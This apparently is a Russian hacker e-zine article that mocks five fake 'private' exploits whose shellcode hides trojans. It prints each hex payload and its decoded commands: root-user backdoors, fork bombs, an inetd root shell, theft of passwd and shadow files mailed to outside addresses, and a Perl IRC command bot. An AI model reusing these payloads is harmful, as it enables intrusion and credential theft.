[ Prev Page | Goto Content | Next Page ]
=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\
the top 5 lame shellcodez -==-==-==-==-==-==-==-==- Очень часто мы сталкиваемся с fake эксплоитами, или эксплоитами, шеллкод которых содержит какой-нибудь бэкдор. Среди них попадаются произведения искусства, а есть просто тупейший слив, который часто еще и не работает, потому что руки хакИра растут даже не из задницы, а вообще не растут. Представляем нашу горячую пятёрку таких вот твАрений. [5] Начнем. Это наиболее простой случай ламофрении, поэтому особо на нем задерживаться не будем. Имя файла: apache1.c Легенда: удаленный root для apache 1.3.4 Хидер: /* remote apache 1.3.4 root exploit (linux) */ Шеллкод: \x65\x63\x68\x6f\x20\x68\x61\x6b\x72\x3a\x3a\x30\x3a \x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x20 \x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77 \x64 Действие: echo hakr::0:0::/:/bin/sh >> /etc/passwd /* тупизм состоит в том, что если даже у юзера в машине торчит telnet или ssh или еще что-то, то под юзером с uid/gid равным 0 по умолчанию его просто не пустят. если и делать такую каку - то добавлять двух юзеров - суперпользователя и простого пользователя, чтоб можно было удаленно приконнектиться и уже локально перейти на суперпользователя. */ /* кстати, если кого-то смущает возможность получения root посредством apache, то скажу, что демон апача [ только 1.3.x, 2.0.x полностью переписан в этом плане ] работает под рутом, а вот уже все чайлды, которые создаются при подключении юзеров, работают под nobody/apache */ [4] Шеллкод написан на асме, что уже делает ему честь, однако сделано всё в нём через жопу. Имя файла: apache1327.c Легенда: удаленный рут шелл через apache 1.3.27 [ как однообразен этот мир )) ] Хидер: /* :: PRIVATE - DO NOT DISTRIBUTE :: * Apache/1.3.27 - Remote Root Exploit * Knights of the Eastern Calculus (info_at_koec.org) */ Шеллкод: \x31\xdb\x31\xc0\x31\xd2\xb2\x18\x68\x20\x3f\x21 \x0a\x68\x54\x52\x31\x58\x68\x65\x20\x4d\x34\x68 \x73\x20\x54\x68\x68\x61\x74\x20\x69\x68\x2d\x2d \x57\x68\x89\xe1\xb0\x04\xcd\x80\xb8\x02\x00\x00 \x00\xcd\x80\xeb\xf7\x00\xcb\xad\x80\x00\x00\x02 \x73\x21\x54\x68\x68\x61\x74\x21\x69\x68\x2d\x2d \x0a\x67\x54\x52\x31\x57\x67\x65\x20\x4d\x34\x67 \x67\x68\x89\xe1\xb2\x04\xcd\x80\xb8\x02\x80\x00 \x53\x89\xe1\x50\x51\x53\x50\xb0\x3b\xcd\x80\xcc \x68\x47\x47\x47\x47\x89\xe3\x31\xc0\x50\x50\x50 \x04\x53\x50\x50\x31\xd2\x31\xc9\xb1\x80\xc1\xe1 \xc0\xb0\x85\xcd\x80\x72\x02\x09\xca\xff\x44\x24 \x04\x20\x75\xe9\x31\xc0\x89\x44\x24\x04\xc6\x44 \x64\x24\x08\x89\x44\x24\x0c\x89\x44\x24\x10\x89 \x54\x24\x18\x8b\x54\x24\x18\x89\x14\x24\x31\xc0 Исходник [ из gdb ]: 31 DB xorl %ebx, %ebx C0 xorl %eax, %eax 31 D2 xorl %edx, %edx B2 18 movb %dl,$0x18 68 20 3F 21 0A pushl $0x0A213F20 68 54 52 31 58 pushl $0x58315254 68 65 20 4D 34 pushl $0x344D2065 68 73 20 54 68 pushl $0x68542073 68 61 74 20 69 pushl $0x69207461 68 2D 2D 57 68 pushl $0x68572D2D 89 E1 movl %ecx, %esp B0 04 movb %al, $0x04 CD 80 int $0x80 Действие: кидает в stdout фразу 'what is matrix?' и вешает машину с помощью бесконечного цикла fork()-ов. [3] Весьма весёлый сплоит для ls (Linux X86 fileutils-4x local root) Имя файла: lsroot.c Легенда: получение рута через fileutils (которые, кстати никогда suid-ными не были) Хидер: /* !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE * * lsroot.c Linux X86 fileutils-4x local root exploit * * Tested under: * * Redhat 7.0 fileutils-4.0x-3 * Redhat 7.1 fileutils-4.0.36-4 * Redhat 7.2 fileutils-4.1-4 * Redhat 7.3 fileutils-4.1-10 * * jason */ /* из серии "а вам слабо?" ) */ Исходник: #include <stdio.h> #include <stdlib.h> #include <unistd.h> char hellc0de[] = "\x69\x6e\x74\x20\x67\x65\x74\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65" "\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74" "\x65\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30" "\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74\x67\x69\x64\x28\x29\x20" "\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74" "\x20\x67\x65\x74\x65\x67\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75" "\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x0/bin/sh"; int main() { FILE *fp; char *offset; fp=fopen("/tmp/own.c","w"); fprintf(fp,"%s",hellc0de); fclose(fp); system("gcc -shared -o /tmp/own.so /tmp/own.c;rm -f /tmp/own.c"); if (fork() == 0) { sleep(10); while (1) { fork(); offset=malloc(512); } exit(0); } system("LD_PRELOAD=/tmp/own.so /bin/sh"); return 0; } Действие: автор этого шита большой шутник. На наших глазах он компилит и подгружает в LD_PRELOAD такую библиотеку (исходник которой прячется в "шеллкоде"): int getuid() { return 0; } int geteuid() { return 0; } int getgid() { return 0; } int getegid() { return 0; } Далее, как это отлично видно (во наглость-то Ж))), сплоит запускает /bin/sh и мы видим рутовской promt. Через 10 секунд после этого тачка виснет от ставшего уже традиционным бесконечного fork'a. Ничего оригинального, зато весело )) [2] Относительно нормальный эксплоит и ``шеллкод'', хоть и не el8 ). Имя файла: неизвестно Легенда: удаленный эксплоит для Sendmail <= 8.12.9 Хидер: /* ############################################################################### !!! PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE !!! ############################################################################### ~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~|~ Sendmail <= 8.12.9 remote exploit ~|~ ~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ by 0wN-U, [email protected] Exploit for new sendmail vulnerability - discovered again - by Michal Zalewski. securityfocus link: http://www.securityfocus.com/archive/1/337839 This exploit will work against sendmail <= 8.12.9 on Linux, *BSD and Solaris. ###>>> If everything is ok, you will find shell on target box, port 31337 NOTE: This exploit is very powerful, and only root can use it. Have a nice time with this exploit ;-). >>>>>>>>>>>> YOU SHOULD NOT HAVE THIS 0day SENDMAIL WAREZ!!!! <<<<<<<<<<<<<<<< THIS IS VERY PRIVATE, DO NOT DISTRIBUTE!!!. - props to l33tT(), r3t4rd, n0b0dy, gopulg-et and mebej (U-stupid-l4mer;-) - drops to whitehats^H^H^H^Hsuckz ;-))) ############################################################################### !!! PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE !!! ############################################################################### */ /* мдя.. строчка про рута, мягко говоря, смущает ) */ Шеллкод: \x65\x63\x68\x6f\x20\x22\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d \x2d\x2d\x2d\x2d\x2d\x2d\x22\x20\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68 \x75\x6e\x3b\x65\x63\x68\x6f\x20\x24\x55\x53\x45\x52\x20\x24\x4f\x53 \x54\x59\x50\x45\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68\x75\x6e \x3b\x65\x63\x68\x6f\x20\x22\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d \x2d\x2d\x2d\x2d\x2d\x2d\x2d\x22\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e \x70\x68\x75\x6e\x3b\x75\x6e\x61\x6d\x65\x20\x2d\x61\x20\x3e\x3e\x20 \x69\x6e\x66\x6f\x2e\x70\x68\x75\x6e\x3b\x65\x63\x68\x6f\x20\x22\x2d \x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x22 \x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68\x75\x6e\x3b\x69\x66\x63 \x6f\x6e\x66\x69\x67\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68\x75 \x6e\x3b\x65\x63\x68\x6f\x20\x22\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d \x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x22\x20\x3e\x3e\x20\x69\x6e\x66\x6f \x2e\x70\x68\x75\x6e\x3b\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x68\x6f \x73\x74\x73\x20\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68\x75\x6e \x3b\x65\x63\x68\x6f\x20\x22\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d \x2d\x2d\x2d\x2d\x2d\x2d\x2d\x22\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e \x70\x68\x75\x6e\x3b\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73 \x73\x77\x64\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68\x75\x6e\x3b \x65\x63\x68\x6f\x20\x22\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d \x2d\x2d\x2d\x2d\x2d\x2d\x22\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70 \x68\x75\x6e\x3b\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64 \x6f\x77\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68\x75\x6e\x3b\x65 \x63\x68\x6f\x20\x22\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d \x2d\x2d\x2d\x2d\x2d\x22\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68 \x75\x6e\x3b\x63\x61\x74\x20\x69\x6e\x66\x6f\x2e\x70\x68\x75\x6e\x20 \x7c\x20\x6d\x61\x69\x6c\x20\x68\x34\x78\x30\x72\x68\x34\x78\x33\x72 \x40\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d\x3b\x65\x63\x68\x6f \x20\x62\x67\x70\x20\x20\x73\x74\x72\x65\x61\x6d\x20\x20\x74\x63\x70 \x20\x20\x20\x20\x20\x6e\x6f\x77\x61\x69\x74\x20\x20\x72\x6f\x6f\x74 \x20\x20\x20\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2f\x62\x69\x6e\x2f \x73\x68\x20\x2d\x69\x20\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x69\x6e\x65 \x74\x64\x2e\x63\x6f\x6e\x66\x3b\x6b\x69\x6c\x6c\x61\x6c\x6c\x20\x2d \x48\x55\x50\x20\x69\x6e\x65\x74\x64\x3b\x63\x70\x20\x2f\x62\x69\x6e \x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x2e\x67\x6f\x74\x69\x74\x2d\x24 \x55\x53\x45\x52\x3b\x63\x68\x6d\x6f\x64\x20\x34\x37\x37\x37\x20\x2f \x74\x6d\x70\x2f\x2e\x67\x6f\x74\x69\x74\x2d\x24\x55\x53\x45\x52\x3b \x65\x63\x68\x6f\x20\x30\x77\x6e\x75\x3a\x3a\x30\x3a\x30\x3a\x30\x77 \x6e\x75\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x20 \x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x3b\x70\x77 \x63\x6f\x6e\x76\x3b /* по легенде шеллкод должен вешать оболочку на порт 31337. что-то не похож ) */ Исходник: echo "-----------------" > info.phun; echo $USER $OSTYPE >> info.phun; echo "-----------------" >> info.phun; uname -a >> info.phun; echo "-----------------" >> info.phun; ifconfig >> info.phun; echo "-----------------" >> info.phun; cat /etc/hosts >> info.phun; echo "-----------------" >> info.phun; cat /etc/passwd >> info.phun; echo "-----------------" >> info.phun; cat /etc/shadow >> info.phun; echo "-----------------" >> info.phun; cat info.phun | mail [email protected]; echo bgp stream tcp nowait root /bin/sh /bin/sh -i >> /etc/inetd.conf; /* хехе, а разве кто-то еще юзает inetd?? */ killall -HUP inetd; cp /bin/sh /tmp/.gotit-$USER; chmod 4777 /tmp/.gotit-$USER; echo 0wnu::0:0:0wnu:/root:/bin/sh >> /etc/passwd; /* опять же, создал только одного юзера - с uid 0. а для того чтобы под ним зайти нужен еще один - обычный юзер. благо в данном случае есть shadow и john the ripper, но нах себе жизнь усложнять?? */ pwconv; [1] Вот эта дрянь по праву заслужила первое место в нашем shit-листе. Подробности ниже. Имя файла: неизвестно [ найдено по-моему, где-то в форуме zone-h ] Легенда: супер-приватно-элитный эксплоит к rpc.mountd Хидер: /* * * PRIVATE VERSION WITH MORE TARGETS!!!! * PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE * PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE * PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE * PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE * * remote exploit for rpc.mountd (nfs-utils 0 && buff[n-1] != '\n') { * buff[n++] = '\n'; buff[n++] = '\0'; * } * * a NULL byte will overflow buff, thus overwriting the LSB of the frame pointer. * * We do not control the area pointed by the new frame pointer, but we do control the area * of &hp (in auth_authenticate()), thus we can overwrite hp and make it point to an area * we like. * hp will get free()d so we can make it point to our fake chunk which can overwrite ebp+4, * which is the area ret will look for its return address (when ebp is copied to stack * pointer and the ret is popped when leaving auth_authenticate()). * * Have fun * * Greetz: gunzip@ircnet and for dumileast for the new targets :P * */ Шеллкод: \x65\x63\x68\x6f\x20\x27\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70 \x65\x72\x6c\x27\x20\x3e\x3e\x20\x61\x2e\x70\x6c\x20\x3b\x20\x65\x63\x68 \x6f\x20\x27\x24\x63\x68\x61\x6e\x3d\x22\x23\x6c\x61\x6d\x65\x6d\x61\x74 \x65\x22\x3b\x27\x20\x3e\x3e\x20\x61\x2e\x70\x6c\x20\x3b\x65\x63\x68\x6f \x20\x27\x24\x6e\x69\x63\x6b\x3d\x22\x6c\x61\x6d\x65\x6d\x61\x74\x65\x22 \x3b\x27\x20\x3e\x3e\x20\x61\x2e\x70\x6c\x20\x3b\x65\x63\x68\x6f\x20\x27 \x24\x73\x65\x72\x76\x65\x72\x3d\x22\x69\x72\x63\x2e\x64\x61\x78\x6e\x65 \x74\x2e\x6e\x6f\x22\x3b\x27\x20\x3e\x3e\x20\x61\x2e\x70\x6c\x20\x3b\x65 \x63\x68\x6f\x20\x27\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d \x3b\x65\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20 \x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d \x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d \x3e\x6e\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36 \x37\x22\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73 \x6f\x63\x6b\x20\x22\x55\x53\x45\x52\x20\x6c\x61\x6d\x65\x6d\x61\x74\x65 \x20\x2b\x69\x20\x6c\x61\x6d\x65\x6d\x61\x74\x65\x20\x3a\x6c\x61\x6d\x65 \x6d\x61\x74\x65\x72\x76\x32\x5c\x6e\x4e\x49\x43\x4b\x20\x6c\x61\x6d\x65 \x6d\x61\x74\x65\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68\x69\x6c\x65 \x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20 \x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64\x65\x3d\x24 \x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65\x3d\x3d\x22 \x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d\x22\x34\x33 \x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d\x7e\x73\x2f \x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f \x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c\x6e\x22\x3b \x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4a\x4f\x49 \x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24 \x63\x68\x61\x6e\x20\x3a\x6c\x61\x6d\x65\x6d\x61\x74\x65\x20\x76\x32\x2e \x31\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a \x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x2c\x20\x74 \x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63\x6b\x2e\x22\x3a\x20\x63\x6f \x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73 \x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e\x47\x20\x28 \x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b \x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e\x4a\x4f\x49\x4e\x20\x24\x63 \x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28\x73\x2f\x5e\x5b\x5e\x20\x5d \x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24 \x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x3a\x5b\x5e\x20\x3a\x5c \x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24\x31\x2f\x29\x7b\x73\x2f\x5c \x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24\x5f\x60\x3b\x66\x6f\x72\x65 \x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22\x5c\x6e\x22\x29\x7b\x70\x72 \x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x52\x49\x56\x4d\x53\x47 \x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c\x6e\x22\x3b\x73\x6c\x65\x65 \x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f \x74\x6d\x70\x2f\x6c\x6f\x6c\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c \x6c\x3b\x2f\x74\x6d\x70\x2f\x6c\x6f\x6c\x27\x20\x3e\x3e\x20\x61\x2e\x70 \x6c\x20\x3b\x70\x65\x72\x6c\x20\x61\x2e\x70\x6c\x3b\x20\x63\x61\x74\x20 \x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3e\x3e\x20\x6f\x77\x6e \x2e\x74\x78\x74\x3b\x20\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73\x68\x61 \x64\x6f\x77\x20\x3e\x3e\x20\x6f\x77\x6e\x2e\x74\x78\x74\x20\x3b\x20\x63 \x61\x74\x20\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73\x20\x3e\x3e\x20\x6f \x77\x6e\x2e\x74\x78\x74\x3b\x20\x75\x6e\x61\x6d\x65\x20\x2d\x61\x20\x3e \x3e\x20\x6f\x77\x6e\x2e\x74\x78\x74\x3b\x20\x69\x66\x63\x6f\x6e\x66\x69 \x67\x20\x3e\x3e\x20\x6f\x77\x6e\x2e\x74\x78\x74\x3b\x20\x63\x61\x74\x20 \x6f\x77\x6e\x2e\x74\x78\x74\x20\x7c\x20\x6d\x61\x69\x6c\x20\x65\x61\x72 \x69\x61\x73\x40\x68\x75\x73\x68\x2e\x63\x6f\x6d\x20\x3b\x20\x63\x61\x74 \x20\x6f\x77\x6e\x2e\x74\x78\x74\x20\x7c\x20\x6d\x61\x69\x6c\x20\x53\x6f \x6e\x69\x63\x6f\x36\x30\x40\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d \x20\x3b\x72\x6d\x20\x2d\x72\x66\x20\x6f\x77\x6e\x2e\x74\x78\x74\x3b\x72 \x6d\x20\x2d\x72\x66\x20\x61\x2e\x70\x6c\x3b Исходник: echo '#!/usr/bin/perl' >> a.pl ; echo '$chan="#lamemate";' >> a.pl ; echo '$nick="lamemate";' >> a.pl ; echo ' $server="irc.daxnet.no";' >> a.pl ; echo '$SIG{TERM}={}; /* вот после этого момента можно не смотреть на последующий perl код, поскольку он не сохранится в файл, а просто будет вывален в оболочку, которая ругнется на каждую строку и ничего не выполнит. ну а вообще, по идее, этот скрипт должен подключаться на irc и сообщать автору о том, какой он ламер */ exit if fork; use IO::Socket; $sock = IO::Socket::INET->new($server.":6667")||exit; print $sock "USER lamemate +i lamemate :lamematerv2\nNICK lamemate\n"; $i=1; while(<$sock>=~/^[^ ]+ ([^ ]+) /) { $mode=$ 1;last if $mode=="001"; if($mode=="433") { $i++; $nick=~s/\d*$/$i/; print $sock "NICK $nick\n"; }} print $sock "JOIN $chan\nPRIVMSG $chan :lamemate v2.1\nPRIVMSG $chan :to run commands, type: ".$nick.": command\n"; while(<$sock>) { if (/^PING (.*)$/) { print $sock "PONG $1\nJOIN $chan\n"; } if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//;$_=`$_`; foreach(split "\n") { print $sock "PRIVMSG $chan :$_\n"; sleep 1; } }} #chmod +x /tmp/lol 2>/dev/null; /* эта команда выполнена не будет */ /tmp/lol' >> a.pl ; /* эта тоже ) */ perl a.pl; cat /etc/passwd >> own.txt; cat /etc/shadow >> zwn.txt ; /* тупейшая ошибка. хакИр перепутал буквы и содержимое shadow сохранилось в другой файл, который он, естесственно, себе не отправил. */ cat /etc/hosts >> own.txt; uname -a >> own.txt; ifconfig >> own.txt; cat own.txt | mail [email protected] ; cat own.txt | mail [email protected] ; rm -rf own.txt; rm -rf a.pl; /* типичный ламер, который не знает, что mail за один прогон может отправлять письмо нескольким получателям + не знает, что rm можно передать больше одного файла в качестве параметра + не знает что такое рекурсия [ поэтому использует ключ -r] */ /* на данном этапе нужно помнить что в директории остался файл zwn.txt, который содержит хэшированные пароли из shadow */ [ Prev Page | Goto Content | Next Page ]